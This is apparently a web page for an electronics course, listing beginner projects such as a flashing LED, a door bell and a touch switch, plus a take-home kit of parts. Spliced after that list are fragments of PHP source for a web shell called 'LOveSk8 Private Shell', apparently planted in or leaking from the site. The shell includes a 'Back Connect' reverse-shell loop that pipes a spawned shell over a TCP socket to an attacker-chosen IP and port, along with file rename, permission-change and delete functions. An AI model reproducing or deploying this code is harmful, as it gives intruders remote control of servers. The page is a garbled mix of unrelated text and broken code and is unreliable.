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Fun With Electronics


Fun with Electronics

 

Hands on Projects :

 

        Flashing LED

        Touch Plate Sensor

        Water Level Indicator

        Door bell

        Light Sensor

        Zig-zag Lighting

        Electronic Screamer

        Steady Hand Game

        Electronic Organ

        Cupboard Timer

        Plant Watering Reminder

        Running LED

        Touch Switch

        Electronic Screamer

        Machine Gun Sound Generator

        Ticking Bomb

        UP/Down Fading LED

         Smart Post Box



Take home kit

Resistors ,capacitors, LEDs, LDR,IC 555, IC UM66,Transistors , Push button switches, Speaker, Battery with Snipper, Breadboard, Connecting Wires, Instructional manual.

 

Duration : Five Days


 


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LOveSk8 Shell

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'; echo 'PHP Version : '. phpversion() .''; echo '
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Back Connect
IP : PORt : array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit(""); while (1) { // Check for end of TCP connection if (feof($sock)) { printit(" :- TCP connection ended"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("END of STDOUT"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) break; } ?>
'; $value){ $_POST[$key] = stripslashes($value); } } echo ' LOveSk8 Private Shell
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'; if(isset($_GET['filesrc'])){ echo "
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'; echo('
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'); }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
'.$_POST['path'].'

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'; }else{ echo 'Change Permission Error.
'; } } echo '
Permission :
'; }elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo 'Change Name Done.
'; }else{ echo 'Change Name Error.
'; } $_POST['name'] = $_POST['newname']; } echo '
New Name :
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Name
Size
Permissions
Options
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